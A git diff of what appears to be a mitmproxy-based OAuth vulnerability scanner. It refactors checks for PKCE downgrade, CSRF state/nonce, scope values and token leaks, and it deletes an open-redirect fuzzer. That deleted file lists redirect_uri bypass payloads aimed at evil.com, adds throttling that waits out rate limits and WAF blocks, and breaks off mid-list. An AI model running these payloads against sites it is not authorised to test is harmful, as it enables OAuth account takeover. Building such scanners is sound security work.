diff --git a/.env b/.env index ecef8e7..cf32153 100644 --- a/.env +++ b/.env @@ -1,2 +1,2 @@ # Google OAuth 설정 -GOOGLE_ID=whs.imnya.ng@gmail.com +GOOGLE_ID=bot.imnya.ng@gmail.com diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..cf32153 --- /dev/null +++ b/.env.example @@ -0,0 +1,2 @@ +# Google OAuth 설정 +GOOGLE_ID=bot.imnya.ng@gmail.com diff --git a/.gitignore b/.gitignore index c9116f2..225a08d 100644 --- a/.gitignore +++ b/.gitignore @@ -9,8 +9,6 @@ wheels/ # Virtual environments .venv -.env - data/ diff --git a/README.md b/README.md index 3e4b4d5..e6a870f 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,5 @@ # 환경 설정 -## Python Virtual Environment - 이 프로젝트는 [uv](https://docs.astral.sh/uv/getting-started/installation/)라는 Python 패키지 관리자를 사용하여 설정해야합니다. uv 설치 후 다음과 같은 명령어를 입력합니다. @@ -10,33 +8,8 @@ uv 설치 후 다음과 같은 명령어를 입력합니다. uv sync ``` -## Environment - venv와 패키지가 설치가 됩니다. -.env.example을 복사하여 .env를 붙여넣습니다. - -`GOOGLE_ID=`에 봇에서 쓸 구글 계정의 전체 GMail을 기입합니다. - -입력하지 않는다면 Google OAuth시 자동적으로 넘어가지 않을 수도 있습니다. - ---- - -> [oauth-backend](https://github.com/j93es/oauth-backend) 프록시를 사용한다면 이 가이드에 따라 인증서 또한 설정되어야만 합니다. -> -> 그렇지 않으면 실행되지 않습니다. -> -> 윈도우 환경에서는 `sudo certutil -addstore root mitmproxy-ca-cert.cer`로 인증합니다. -> -> Sudo가 활성화되어있지 않은 환경에서는 관리자로 상향된 쉘에서 실행합니다. -> -> MacOS 환경에서는 `sudo security add-trusted-cert -d -p ssl -p basic -k /Library/Keychains/System.keychain ~/.mitmproxy/mitmproxy-ca-cert.pem`으로 인증합니다. -> -> 다른 플렛폼은 수동으로 설정되어야만 합니다. -> https://docs.mitmproxy.org/stable/concepts/certificates/ - ---- - # 실행 방법 ``` @@ -44,51 +17,46 @@ uv run main.py ``` 이러면 http(s)://localhost:11080로 서버가 열리게 됩니다. -http://localhost:11081로 백엔드 서버가 열리게 됩니다. # 기여 방법 `./addon/init.py` ```py -... - async def request(self, flow: http.HTTPFlow): - if false_true_varifing_task.is_verifing_false_true(): - return +from example_check import Example + +class LoggerAddon: + def __init__(self): + self.checker = Example() + + def request(self, flow: http.HTTPFlow): # 비동기가 필요할 경우 async def로 할 것 + self.checker.test(flow) + def response(self, flow: http.HTTPFlow): # 비동기가 필요할 경우 async def로 할 것 + self.checker.test(flow) - tasks = [ - try_catch(self.google_login_hint.request(flow)) if self.google_login_hint else None, - try_catch(PKCEDowngradeChecker().test(flow)), - try_catch(Example().test(flow)) - ] - await asyncio.gather(*tasks) - ... ``` `./addon/example.py` ```py -from lib.report_vuln import report_vuln +import lib.target as target +from lib.report import save_report class Example: async def test(self, flow): + req = flow.request + method = req.method url = req.pretty_url # data/report.csv에 저장 - report_vuln( - title="PKCE Plain Method", - desc="PKCE method is set to 'plain'. Possible downgrade.", - status="CRITICAL", - uri=url, - ) + report_data = [{ + 'target': target.load(), + 'status': "CRITICAL", + 'title': "PKCE Downgrade Vulnerability", + 'description': "PKCE downgrade vulnerability detected! Both URLs returned authorization code.", + 'uri': f"Original: {url}\nDowngraded: {downgraded_url}" + }] + save_report(report_data) ``` 이러한 예제를 참고하여 작성하여주세요. - -# 백엔드 API DOCS - -`uv run main.py`으로 백엔드를 실행한 후에, 다음의 url에 접속합니다. - -``` -http://localhost:11081/redoc -``` diff --git a/addon/google_login_hint.py b/addon/GoogleLoginHint.py similarity index 92% rename from addon/google_login_hint.py rename to addon/GoogleLoginHint.py index 3abaf73..6d80669 100644 --- a/addon/google_login_hint.py +++ b/addon/GoogleLoginHint.py @@ -1,3 +1,5 @@ +import lib.target as target +from lib.report import save_report import os from urllib.parse import urlparse, parse_qs, urlencode, urlunparse from dotenv import load_dotenv @@ -14,6 +16,7 @@ class GoogleLoginHint: async def request(self, flow): """Google OAuth 요청을 가로채서 login_hint를 추가하거나 수정""" req = flow.request + method = req.method url = req.pretty_url # Google OAuth 인증 URL인지 확인 @@ -42,10 +45,11 @@ class GoogleLoginHint: parsed_url.fragment )) - # 요청 URL 수정 - URL과 호스트 모두 업데이트 - flow.request.url = new_url + # 요청 URL 수정 + flow.request.pretty_url = new_url print(f"🔄 Modified URL: {new_url}") + def _is_google_oauth_url(self, url): """Google OAuth URL인지 확인""" google_oauth_domains = [ diff --git a/addon/ScopeDetection.py b/addon/ScopeDetection.py new file mode 100644 index 0000000..a955aeb --- /dev/null +++ b/addon/ScopeDetection.py @@ -0,0 +1,53 @@ +import lib.target as target +from lib.report import save_report + +class ScopeDetection: + def get_scope_from_query(self, query: str) -> str | None: + if not query: + return None + import urllib.parse + parsed = urllib.parse.parse_qs(query) + scope_values = parsed.get("scope", []) + if scope_values: + return scope_values[0] + return None + + async def check_scope(self, flow): + req = flow.request + res = flow.response + + # req.query가 MultiDictView일 수 있으므로 문자열로 변환 + if hasattr(req.query, "urlencode"): + query = req.query.urlencode() + else: + query = str(req.query) if req.query else "" + + location = res.headers.get("location", "") + + query_scope = self.get_scope_from_query(query) + location_scope = self.get_scope_from_query(location) + + result = [] + if query_scope in ["all", "*"]: + result.append(f"Scope value issue detected in request: {query_scope}") + if location_scope in ["all", "*"]: + result.append(f"Scope value issue detected in response location: {location_scope}") + + return result if result else 0 + + async def test(self, flow): + req = flow.request + method = req.method + url = req.pretty_url + + result = await self.check_scope(flow) + + if result != 0: + report_data = [{ + 'target': target.load(), + 'status': "WARNING", + 'title': "OAuth scope value issue", + 'description': f"{method} {url}: {', '.join(result)}", + 'uri': url + }] + save_report(report_data) diff --git a/addon/access_token.py b/addon/access_token.py index 749ee0d..6f1c8bb 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -1,10 +1,23 @@ import re -import asyncio +from dataclasses import dataclass, asdict +from typing import List, Dict, Optional, Any -from typing import Optional, Any from mitmproxy.http import HTTPFlow -from urllib.parse import urlparse, parse_qs -from lib.report_vuln import report_vuln + +import lib.target as target +from lib.report import save_report + +# 결과 리포트 저장용 데이터 클래스 +@dataclass +class TokenLeakResult: + title: str + description: str + uri: str + status: str = "MEDIUM" # 기본 상태 + + def to_report(self, target_value) -> Dict[str, str]: + """리포트 저장 포맷(dict)으로 변환""" + return {"target": target_value, **asdict(self)} # 요청/응답에서 액세스 토큰 노출 여부를 검사하는 스캐너 @@ -13,24 +26,31 @@ class AccessTokenScanner: async def scan(self, flow: HTTPFlow) -> None: """단일 HTTPFlow(request + response)에 대해 요청과 응답을 모두 검사.""" print(f"[TOKENDEBUG] Request URL: {flow.request.url}") - - async_gather = [] - async_gather.append(self._scan_request(flow.request)) - async_gather.append(self._scan_response(flow.response, flow.request.url)) - await asyncio.gather(*async_gather) + findings: List[TokenLeakResult] = [] + + findings.extend(await self._scan_request(flow.request)) + findings.extend(await self._scan_response(flow.response, flow.request.url)) + + if findings: + target_value = target.load() + save_report([f.to_report(target_value) for f in findings]) # 내부 구현 - async def _scan_request(self, request: Any): + async def _scan_request(self, request: Any) -> List[TokenLeakResult]: + results: List[TokenLeakResult] = [] print("[TOKENDEBUG] ==scan request==") # URL 검사 - if self._is_implicit_flow(request.url): - print("[TOKENDEBUG] OAuth Implicit Flow detected.") - report_vuln( - title="Token Leak in Request URL", - desc="취약한 Grant Type입니다 (Implicit Grant Type)", - status="MEDIUM", - uri=request.url + token_result = self._extract_token(request.url) + if token_result: + token, has_bearer = token_result + results.append( + TokenLeakResult( + title="Token Leak in Request URL", + description=f"요청 URL에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", + uri=request.url, + status="MEDIUM" if has_bearer else "LOW" + ) ) # Body 검사 (텍스트 컨텐츠인 경우) @@ -38,40 +58,54 @@ class AccessTokenScanner: body_text = request.get_text(strict=False) token_result = self._extract_token(body_text) if token_result: - report_vuln( - title="Token Leak in Request Body", - desc=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token_result[:20]}…", - status="LOW", - uri=request.url + token, has_bearer = token_result + results.append( + TokenLeakResult( + title="Token Leak in Request Body", + description=f"요청 본문에 토큰이 포함되어 있습니다 (앞 20자): {token[:20]}…", + uri=request.url, + status="MEDIUM" if has_bearer else "LOW" + ) ) - async def _scan_response(self, response: Optional[Any], request_url: str): - if response is None: - return + return results + async def _scan_response(self, response: Optional[Any], request_url: str) -> List[TokenLeakResult]: + if response is None: + return [] + + results: List[TokenLeakResult] = [] print("[TOKENDEBUG] ==scan response==") # Location 헤더 검사 (리다이렉트) if location_header := response.headers.get("Location"): token_result = self._extract_token(location_header) if token_result: - report_vuln( - title="Token Leak in Redirect URL (Location header)", - desc=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token_result[:20]}…", - status="MEDIUM", - uri=location_header, - ) + token, has_bearer = token_result + if has_bearer: + results.append( + TokenLeakResult( + title="Token Leak in Redirect URL (Location header)", + description=f"Location 헤더에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", + uri=location_header, + ) + ) # Body 검사 (텍스트 컨텐츠인 경우) if response.content: body_text = response.get_text(strict=False) token_result = self._extract_token(body_text) if token_result: - report_vuln( - title="Token Leak in Response Body", - desc=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token_result[:20]}…", - status="LOW", - uri=request_url, - ) + token, has_bearer = token_result + if has_bearer: + results.append( + TokenLeakResult( + title="Token Leak in Response Body", + description=f"응답 본문에 토큰이 노출되었습니다 (앞 20자): {token[:20]}…", + uri=request_url, + ) + ) + + return results # 토큰 탐지 키워드드 _TOKEN_KEYS = [ @@ -81,6 +115,8 @@ class AccessTokenScanner: "refreshtoken", "auth_token", "session_token", + "secret_token", + "ssoauth", ] # "bearer" 표시가 동시에 존재할 때만 토큰으로 판단하여 false positive를 줄임 @@ -114,38 +150,6 @@ class AccessTokenScanner: if (m := pattern.search(text)) and m.group(1): print(f"[TOKENDEBUG] token: {m.group(1)}") print(f"[TOKENDEBUG] has_bearer: {has_bearer}") - if has_bearer: - return m.group(1) + return m.group(1), has_bearer print("[TOKENDEBUG] No matched.") return None - - def _is_implicit_flow(self, request_url: str) -> bool: - """ - URL의 파라미터에서 OAuth Implicit Flow 패턴을 체크합니다. - - Args: - request_url: 체크할 요청 URL - - Returns: - bool: client_id, redirect_uri, response_type이 모두 존재하고 - response_type 값이 'token'인 경우 True, 그렇지 않으면 False - """ - try: - parsed_url = urlparse(request_url) - query_params = parse_qs(parsed_url.query) - - # 필요한 파라미터들이 모두 존재하는지 확인 - required_params = ['redirect_uri', 'response_type'] - - for param in required_params: - if param not in query_params: - return False - - # response_type 값이 'token'인지 확인 - response_type_values = query_params.get('response_type', []) - - # response_type 파라미터가 존재하고 값 중에 'token'이 있는지 확인 - return 'token' in response_type_values or 'id_token' in response_type_values - - except Exception: - return False \ No newline at end of file diff --git a/addon/client_secret.py b/addon/client_secret.py deleted file mode 100644 index 00c7386..0000000 --- a/addon/client_secret.py +++ /dev/null @@ -1,29 +0,0 @@ -from lib.report_vuln import report_vuln -from urllib.parse import urlparse, parse_qs - -class ClientSecret: - def get_target_from_query(self, query: str, target: str) -> str | None: - if not query: - return None - parsed = parse_qs(query) - scope_values = parsed.get(target, []) - if scope_values: - return scope_values[0] - return None - - async def test(self, flow): - req = flow.request - - parsed = urlparse(req.pretty_url) - query = parsed.query - - query_client_id = self.get_target_from_query(query, "client_id") - query_client_secret = self.get_target_from_query(query, "client_secret") - - if query_client_id and query_client_secret: - report_vuln( - title="OAuth Client Secret Exposure", - desc=f"Client ID and Secret found in request: {query_client_id}, {query_client_secret}", - status="CRITICAL", - uri=req.pretty_url - ) diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 7ff3daa..4e07407 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -1,17 +1,26 @@ # csrf_check.py -from mitmproxy import http +from mitmproxy import http, ctx from urllib.parse import urlparse, parse_qs, unquote import httpx from typing import Optional, Union, List -from lib.report_vuln import report_vuln -from lib.utils.is_oauth_uri import is_oauth_uri +import lib.target as target +from lib.report import save_report class CsrfChecker: nonce_params = { - "state", "nonce", "csrf_token", "csrf" + "state", "nonce", "as", "frame_id", "csrf_token", "csrf" } + def is_oauth_uri(self, uri: str) -> bool: + qs = parse_qs(urlparse(uri).query) + qs_keys = [*qs] + + if "client_id" in qs_keys and any(p in qs_keys for p in ( + "redirect_uri", "response_type", "grant_type", "scope", "state", "nonce")): + return True + return False + def get_header(self, headers: http.Headers, name: str) -> Optional[str]: # mitmproxy Headers는 case-insensitive raw = headers.get(name) @@ -31,7 +40,7 @@ class CsrfChecker: def is_oauth_redirect(self, flow: http.HTTPFlow) -> bool: code = flow.response.status_code loc = self.get_header(flow.response.headers, "location") or "" - return 300 <= code < 400 and is_oauth_uri(loc) + return 300 <= code < 400 and self.is_oauth_uri(loc) def check_nonce_in_request(self, flow: http.HTTPFlow) -> bool: qs = parse_qs(urlparse(flow.request.url).query) @@ -62,10 +71,10 @@ class CsrfChecker: headers=headers, content=flow.request.get_content(), ) - + def check_redirect_nonce(self, flow: http.HTTPFlow) -> Union[List[str], int]: # ① OAuth URI, ② 요청에 nonce, ③ 리다이렉트 응답 - if not (is_oauth_uri(flow.request.url) + if not (self.is_oauth_uri(flow.request.url) and self.check_nonce_in_request(flow) and self.is_oauth_redirect(flow)): return 0 @@ -76,29 +85,18 @@ class CsrfChecker: resp_nonce = self.get_query_param(loc, param) if param else None if resp_nonce is None: - report_vuln( - title="CSRF Risk", - desc="Missing nonce in redirect response", - status="CRITICAL", - uri=flow.request.url - ) - return 1 + return ["Missing nonce in redirect"] if orig_nonce != resp_nonce: - report_vuln( - title="CSRF Risk", - desc="Nonce mismatch request↔response", - status="HIGH", - uri=flow.request.url - ) - return 1 + return ["Nonce mismatch request↔response"] return 0 async def check_nonce_reuse(self, flow: http.HTTPFlow) -> Union[int, List[str]]: # OAuth Request가 아니면서, OAuth 리다이렉트 응답인 경우만 검사 - if is_oauth_uri(flow.request.url) or not self.is_oauth_redirect(flow): + if self.is_oauth_uri(flow.request.url) or not self.is_oauth_redirect(flow): return 0 + loc0 = self.get_header(flow.response.headers, "location") or "" param = self.find_nonce_param(loc0) or "state" qs0 = parse_qs(urlparse(loc0).query) @@ -113,16 +111,10 @@ class CsrfChecker: if new_nonce is None: return 0 if new_nonce == orig_nonce: - report_vuln( - title="CSRF Risk", - desc="Nonce reused without cookies", - status="CRITICAL", - uri=flow.request.url - ) - return 1 + return ["Nonce reused without cookies"] # (2) 두 번의 리다이렉트 비교 - async with httpx.AsyncClient(follow_redirects=True) as cli: + async with httpx.AsyncClient(follow_redirects=False) as cli: # 원본 쿼리 req1 = await cli.get(loc0, params=qs0, headers=flow.request.headers) # nonce 교체 쿼리 @@ -135,35 +127,42 @@ class CsrfChecker: and urlparse(req1.headers.get("location", "")).path == urlparse(req2.headers.get("location", "")).path ): - report_vuln( - title="CSRF Risk", - desc="Identical redirects on nonce swap → potential CSRF", - status="NOT-VERIFIED-HIGH", - uri=flow.request.url - ) - return 1 + return ["Identical redirects on nonce swap → potential CSRF"] return 0 async def response(self, flow: http.HTTPFlow) -> None: try: + msgs: List[str] = [] # 1) 요청에 nonce 없으면 - if is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): - report_vuln( - title="CSRF Risk", - desc="Missing nonce in OAuth request", - status="CRITICAL", - uri=flow.request.url - ) - return + if self.is_oauth_uri(flow.request.url) and not self.check_nonce_in_request(flow): + msgs.append("Missing state/nonce in request") # 2) 리다이렉트에서 nonce 검사 r1 = self.check_redirect_nonce(flow) + if r1: + msgs.extend(r1 if isinstance(r1, list) else []) # 3) nonce 재사용 검사 r2 = await self.check_nonce_reuse(flow) + if r2: + msgs.extend(r2 if isinstance(r2, list) else []) + if msgs: + desc = " | ".join(msgs) + status = "MEDIUM" + report_data = [{ + 'target': target.load(), + 'status': status, + 'title': "CSRF Risk", + 'description': desc, + 'uri': flow.request.url, + }] + save_report(report_data) + print(f"[INFO] CSRF Check: {desc}") + else: + pass except Exception as e: print(f"[ERROR] CSRF Check failed: {e}") return diff --git a/addon/google_response_type_token.py b/addon/google_response_type_token.py deleted file mode 100644 index 12cdf92..0000000 --- a/addon/google_response_type_token.py +++ /dev/null @@ -1,52 +0,0 @@ -from lib.report_vuln import report_vuln -import httpx -from lib.utils.is_oauth_uri import is_oauth_uri -from urllib.parse import urlparse, parse_qs - -class GoogleResponseTypeToken: - def get_taregt_from_query(self, query: str, target: str) -> str | None: - if not query: - return None - parsed = parse_qs(query) - scope_values = parsed.get(target, []) - if scope_values: - return scope_values[0] - return None - - async def test(self, flow): - req = flow.request - - if not is_oauth_uri(req.pretty_url): - return - - if req.pretty_host != "accounts.google.com": - return - - if "response_type=token" in req.pretty_url: - return - - url = f"{req.pretty_url}".replace("response_type=code", "response_type=token") - - async with httpx.AsyncClient(follow_redirects=True) as cli: - response = await cli.request( - method=req.method, - url=url, - headers=req.headers, - content=req.get_content(), - ) - - - if response.status_code >= 400: - return - - if "400." in response.text: - return - - if "response_type=token" in str(response.url): - report_vuln( - "Google Response Type Token", - f"Response type token allowed in {req.pretty_url}", - "HIGH", - str(response.url) - ) - diff --git a/addon/init.py b/addon/init.py index aafde91..c54a7fc 100644 --- a/addon/init.py +++ b/addon/init.py @@ -1,93 +1,110 @@ from mitmproxy import http import asyncio from pkce_check import PKCEDowngradeChecker -from addon.scope_detection import ScopeDetection +from ScopeDetection import ScopeDetection from csrf_check import CsrfChecker -from client_secret import ClientSecret -from addon.open_redirect_check import OpenRedirectChecker +from nonce_check import NonceChecker +from redirect_uri_check import RedirectBypassChecker from access_token import AccessTokenScanner -from addon.google_login_hint import GoogleLoginHint -from addon.google_response_type_token import GoogleResponseTypeToken +from GoogleLoginHint import GoogleLoginHint import os from dotenv import load_dotenv -from lib.utils.try_catch import try_catch -from lib.false_true_varifing_task import FalseTrueVarifingTask - -# Initialize the singleton task manager -false_true_varifing_task = FalseTrueVarifingTask() load_dotenv(override=True) -_open_redirect_checker = OpenRedirectChecker() - -class AddonBase: - """ - Base class for addons. - Each addon should implement its own request or response method. - """ - - def __init__(self) -> None: - if os.getenv('GOOGLE_ID'): - self.google_login_hint = GoogleLoginHint() - else: - self.google_login_hint = None - - def should_ignore(self, flow: http.HTTPFlow) -> bool: - """Check if the request should be ignored.""" - ignore_domains = [ - ".googleapis.com", - "android.clients.google.com", # Added missing comma here - ".adtrafficquality.google", - ".googlesyndication.com", - "cdn.jsdelivr.net", - "update.googleapis.com", - ".google-analytics.com", - ".gstatic.com" - ] - # Ignore .googleapis.com domains - for domain in ignore_domains: - if domain in flow.request.pretty_host: - return True - - # Ignore static files (JS, CSS, fonts, images, etc.) - # Split on '?' to remove query parameters before checking extension - path = flow.request.path.split('?')[0].lower() - static_extensions = [ - '.js', '.css', '.woff2', '.woff', '.ttf', '.otf', '.svg', - '.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.bmp', - '.tiff', '.tif', '.webm', '.mp4', '.avi', '.mov', '.pdf', '.md', - '.txt', '.csv' - ] - - if any(path.endswith(ext) for ext in static_extensions): - return True - - return False +class PKCEAddon: + def __init__(self): + self.checker = PKCEDowngradeChecker() async def request(self, flow: http.HTTPFlow): - if self.google_login_hint: - await try_catch(self.google_login_hint.request(flow)) + print( + f"[DEBUG] Processing request: {flow.request.method} {flow.request.pretty_url}" + ) + try: + await self.checker.test(flow) + except Exception as e: + print(f"[ERROR] Addon failed: {e}") + pass - if false_true_varifing_task.is_verifing_false_true(): - return - tasks = [ - try_catch(PKCEDowngradeChecker().test(flow)), - ] - await asyncio.gather(*tasks) +class CsrfAddon: + def __init__(self): + self.checker = CsrfChecker() async def response(self, flow: http.HTTPFlow): - if false_true_varifing_task.is_verifing_false_true() or self.should_ignore(flow): - return - - tasks = [ - try_catch(CsrfChecker().response(flow)), - try_catch(ScopeDetection().test(flow)), - try_catch(ClientSecret().test(flow)), - try_catch(AccessTokenScanner().scan(flow)), - try_catch(GoogleResponseTypeToken().test(flow)), - try_catch(_open_redirect_checker.test(flow)), - ] - await asyncio.gather(*tasks) + try: + await self.checker.response(flow) + except Exception as e: + print(f"[ERROR] CSRF Addon failed: {e}") + pass + + +class ScopeAddon: + def __init__(self): + self.checker = ScopeDetection() + self._flow_map = {} # 요청 정보를 저장 -addons = [AddonBase()] + async def request(self, flow: http.HTTPFlow): + self._flow_map[flow.id] = { + "method": flow.request.method, + "url": flow.request.pretty_url, + "query": flow.request.query, + } + + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.test(flow) + except Exception as e: + print(f"[ERROR] ScopeDetection failed: {e}") + +class NonceAddon: + def __init__(self): + self.checker = NonceChecker() + + async def response(self, flow: http.HTTPFlow): + try: + pass + # TODO id_token을 파싱하는 부분이 누락되어있습니다. + # await self.checker.check_nonce_in_id_token(flow) + except Exception as e: + print(f"[ERROR] NonceAddon failed: {e}") + pass + +class AccessTokenAddon: + def __init__(self): + self.checker = AccessTokenScanner() + + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.scan(flow) + except Exception as e: + print(f"[ERROR] AccessToken Addon failed: {e}") + pass + +class RedirectBypassAddon: + def __init__(self): + self.checker = RedirectBypassChecker() + + # request 대신 response 로 바꿔 보세요: + async def response(self, flow: http.HTTPFlow): + try: + await self.checker.test(flow) + except Exception as e: + print(f"[ERROR] RedirectBypass Addon failed: {e}") + +class GoogleLoginHintAddon(): + def __init__(self) -> None: + if os.getenv('GOOGLE_ID'): + self.checker = GoogleLoginHint() + else: + self.checker = None + + async def request(self, flow: http.HTTPFlow): + if self.checker is None: + return + try: + await self.checker.request(flow) + except Exception as e: + print(f"[ERROR] GoogleLoginHint Addon failed: {e}") + +addons = [PKCEAddon(), ScopeAddon(), CsrfAddon(), NonceAddon(), AccessTokenAddon(), RedirectBypassAddon(), GoogleLoginHintAddon()] diff --git a/addon/nonce_check.py b/addon/nonce_check.py index 1df6beb..c0af077 100644 --- a/addon/nonce_check.py +++ b/addon/nonce_check.py @@ -1,8 +1,10 @@ import jwt from urllib.parse import urlparse, parse_qs from typing import Union +import httpx -from lib.report_vuln import report_vuln +import lib.target as target +from lib.report import save_report class NonceChecker: def is_oidc_flow(self, flow) -> bool: @@ -70,13 +72,17 @@ class NonceChecker: def check_nonce_in_id_token(self, flow, id_token: str) -> bool: decoded = self.decode_id_token(id_token) nonce = decoded.get("nonce") + req = flow.request + url = req.pretty_url if not nonce: - report_vuln( - title="Nonce Check Failed", - desc="id_token에 nonce가 없습니다.", - status="HIGH", - uri=flow.request.url - ) + report_data = [{ + 'target': target.load(), + 'status': "CRITICAL", + 'title': "nonce is missing in id_token", + 'description': "Nonce is present in the request but missing in the id_token.", + 'uri': f"Original: {url}\nDecoded ID Token: {decoded}", + }] + save_report(report_data) return False else: return True diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py deleted file mode 100644 index 6f2684c..0000000 --- a/addon/open_redirect_check.py +++ /dev/null @@ -1,1722 +0,0 @@ -from mitmproxy import http -import aiohttp -import asyncio -import random -import time -from urllib.parse import urlparse, parse_qs, urlencode, urlunparse, unquote -from lib.report_vuln import report_vuln - -GLOBAL_REDIRECT_TRACKING = { - 'tracked_redirect_uris': set(), - 'last_cleanup': time.time() -} - -class RedirectRateLimiter: - """OAuth Open Redirect 체크 전용 rate limiter""" - def __init__(self): - self.last_request = 0 - self.request_count = 0 - self.failure_count = 0 - self.consecutive_failures = 0 - self.blocked_until = 0 - self.should_abandon_target = False - - # 설정값 (전체 패턴 기준으로 최적화) - self.base_delay = 2.0 # 기본 2초 지연 - self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 - self.max_delay = 5.0 # 최대 5초 지연 - self.block_duration = 300 # 5분 차단 - self.success_speedup = 0.8 # 성공시 속도 증가 - - def reset_for_new_target(self): - """새로운 타겟을 위해 상태 리셋""" - self.last_request = 0 - self.request_count = 0 - self.failure_count = 0 - self.consecutive_failures = 0 - self.blocked_until = 0 - self.should_abandon_target = False - print("[RATE_LIMIT] 새로운 타겟을 위해 Rate Limiter 리셋됨") - - async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: - """속도 조절 및 차단 대기""" - current_time = time.time() - - if self.should_abandon_target: - print(f"[TARGET_ABANDON] ⏹️ 타겟 포기됨 - 테스트 중단") - return False - - # 차단 중인지 확인 - if current_time < self.blocked_until: - remaining = int(self.blocked_until - current_time) - - # 카운트다운 (10초 단위) - for i in range(remaining, 0, -1): - if i % 10 == 0 or i <= 10: - minutes = i // 60 - seconds = i % 60 - time_str = f"{minutes}분 {seconds}초" if minutes > 0 else f"{seconds}초" - print(f"\r⏳ 퍼징 재개까지: {time_str} 남음", end="", flush=True) - await asyncio.sleep(1) - - print(f"\n✅ 대기 완료! {pattern_name} 패턴 퍼징 재개...") - self.blocked_until = 0 - - # 일반적인 퍼징 속도 조절 - delay = self._calculate_delay() - time_since_last = current_time - self.last_request - - if time_since_last < delay: - wait_time = delay - time_since_last - if wait_time > 2: - print(f"[FUZZER] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") - await asyncio.sleep(wait_time) - - self.last_request = time.time() - self.request_count += 1 - - return True - - def _calculate_delay(self) -> float: - """적응형 지연 시간 계산""" - delay = self.base_delay - - # 연속 실패에 따른 백오프 - if self.consecutive_failures > 0: - backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) - delay += backoff - - # 전체 실패율에 따른 조정 - if self.request_count > 5: - failure_rate = self.failure_count / self.request_count - if failure_rate > 0.3: # 실패율 30% 초과시 - delay *= (1 + failure_rate) - - # 최대값 제한 - delay = min(delay, self.max_delay) - - # 랜덤 지터 (±20%) - jitter = random.uniform(0.8, 1.2) - return delay * jitter - - def record_success(self): - """성공 기록""" - self.consecutive_failures = 0 - # 성공시 약간 속도 증가 (학습 효과) - if self.base_delay > 0.5: - self.base_delay *= self.success_speedup - - def record_failure(self, error_msg: str = ""): - """실패 기록 및 차단 감지""" - self.failure_count += 1 - self.consecutive_failures += 1 - - # 연속 5회 실패시 타겟 포기 - if self.consecutive_failures >= 5: - self.should_abandon_target = True # ← 포기 플래그 설정 - print(f"[TARGET_ABANDON] 🚫 연속 실패 {self.consecutive_failures}회 - 타겟 포기") - return - - # 웹사이트 방어 메커니즘 감지 패턴들 - rate_limit_patterns = [ - '429', # Too Many Requests - 'rate limit', 'rate-limit', 'ratelimit', - 'too many requests', 'request limit', - 'throttled', 'throttling' - ] - - # 웹방화벽/보안 솔루션 차단 패턴들 - security_block_patterns = [ - 'cloudflare', 'security check', - 'access denied', 'forbidden', - 'blocked', 'banned', 'suspended', - 'captcha', 'recaptcha', - 'bot detected', 'suspicious activity' - ] - - error_lower = str(error_msg).lower() - - if any(pattern in error_lower for pattern in rate_limit_patterns): - self.blocked_until = time.time() + self.block_duration - print(f"[RATE_LIMIT] 🚫 웹사이트 Rate Limit 감지 - {self.block_duration}초 대기 예정") - return - - elif any(pattern in error_lower for pattern in security_block_patterns): - self.blocked_until = time.time() + self.block_duration - print(f"[SECURITY_BLOCK] 🛡️ 웹방화벽/보안 솔루션 차단 - {self.block_duration}초 대기 예정") - return - - if self.consecutive_failures >= 5: - short_wait = 120 - self.blocked_until = time.time() + short_wait - print(f"[FUZZER_PAUSE] ⏸️ 연속 실패 {self.consecutive_failures}회 - {short_wait}초 대기") - -# 글로벌 레이트 리미터 -redirect_limiter = RedirectRateLimiter() - -class BypassPayload: - """ 우회 패턴 정의 """ - def __init__(self, name: str, mutate_func, description: str): - self.name = name - self.mutate = mutate_func #우회 url 만드는 함수 - self.description = description - -class OpenRedirectChecker: - def __init__(self): - self.testing_targets = set() # 현재 테스트 중인 타겟들 - self.tested_endpoints = set() # 이미 테스트 완료된 엔드포인트들 - self.session = None - self._initialize_bypass_payloads() # bypass_payloads를 __init__에서 초기화 - - """ 우회 페이로드 목록 """ - def _initialize_bypass_payloads(self): - self.bypass_payloads = [ - BypassPayload( - name=r"@", - mutate_func=self._mutate_pattern1, - description=r"Host bypass attack using @ symbol: evil.com@target.com" - ), - - BypassPayload( - name="jwt_none_algorithm", - mutate_func=self._mutate_pattern47, - description="JWT state parameter 'none' algorithm bypass" - ), - - BypassPayload( - name="state_parameter_pollution", - mutate_func=self._mutate_pattern49, - description="Multiple state parameters pollution attack" - ), - - BypassPayload( - name=r"backslash_bypass", - mutate_func=self._mutate_pattern9, - description=r"Backslash URL parsing bypass: target.com\\evil.com" - ), - - BypassPayload( - name=r"double_slash", - mutate_func=self._mutate_pattern10, - description=r"Double slash bypass: target.com//evil.com" - ), - - BypassPayload( - name=r"wildcard_subdomain_bypass", - mutate_func=self._mutate_pattern8, - description=r"Wildcard subdomain bypass: attacker.target.com" - ), - - BypassPayload( - name=r"question_mark", - mutate_func=self._mutate_pattern11, - description=r"Question mark bypass: target.com?evil.com" - ), - - BypassPayload( - name=r"%ff@", - mutate_func=self._mutate_pattern2, - description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com" - ), - - BypassPayload( - name=r"%ff_subdomain", - mutate_func=self._mutate_pattern3, - description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com" - ), - - BypassPayload( - name=r"fullwidth_slash_direct", - mutate_func=self._mutate_pattern4_1, - description=r"Direct fullwidth slash bypass: target.com／@evil.com" - ), - - BypassPayload( - name=r"fullwidth_slash_encoded", - mutate_func=self._mutate_pattern4_2, - description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" - ), - - BypassPayload( - name=r"fullwidth_backslash_direct", - mutate_func=self._mutate_pattern4_3, - description=r"Direct fullwidth 